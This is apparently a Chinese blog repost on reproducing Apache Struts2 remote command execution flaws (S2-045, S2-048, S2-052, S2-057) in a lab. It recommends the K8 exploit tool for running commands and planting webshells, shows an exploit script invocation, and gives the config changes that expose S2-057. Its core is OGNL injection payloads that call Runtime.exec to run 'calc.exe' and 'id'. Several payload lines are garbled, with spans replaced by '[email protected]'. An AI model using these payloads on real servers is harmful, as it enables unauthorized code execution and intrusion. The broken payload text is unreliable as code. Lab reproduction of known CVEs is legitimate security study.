远程命令执行与反序列化之——Struts框架全系列命令执行漏洞还原

Struts框架全系列命令执行漏洞还原

(端口默认8080)

历史漏洞:

https://www.seebug.org/search/?keywords=struts2
s2早期综合利用工具(10-17年高危漏洞)
K8 struts2 EXP
填写目标,可以执行命令,文件上传(小马),连接小马
出现.action或者.do
都可能是使用structs2框架

s2-045漏洞还原(K8就可以)

http://192.168.0.127:8080/struts2-showcase/showcase.action

s2-48攻击过程还原

struts2 S2-048远程代码执行漏洞exp
C:>struts048.py http://192.168.32.95:8080/struts2-showcase/integration/saveGangster.action “ipconfig”
使用的struts048.py
struts.2.3.x版本上的showcase插件中构造不可信输入实现远程命令攻击

s2-052攻击过程还原(针对版本struts 2.5-2.5.12)

Struts S2-052漏洞利用之Meterpreter(CVE-2017-9805)
https://www.cnblogs.com/Hi-blog/p/7510987.html
search struts2

S2-057漏洞复现(需要参数alwaysSelectFullNamespace被设置为true)

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现
http://192.168.0.127:8080/struts2-showcase//actionChain1.action

参考文章: https://blog.csdn.net/weixin_43625577/article/details/97111575
https://www.sinesafe.com/article/20180823/struts2057.html

注意事项:
首先在struts.xml配置文件添加<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
其次修改配置文件struts-actionchaining.xml 删掉namespace属性,或使用了通配符*
最后把type="chain"改成type=“redirectAction”(跳转)
目的为了将路径变成可控的
攻击payload:
http://192.168.0.127:8080/struts2-showcase/${(1+1)}/actionChain1.action

${#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(‘calc.exe’)} (执行远程服务器的计算器)

${
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec(‘id’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

发布了117 篇原创文章 · 获赞 11 · 访问量 6460

猜你喜欢

转载自blog.csdn.net/weixin_43079958/article/details/105500489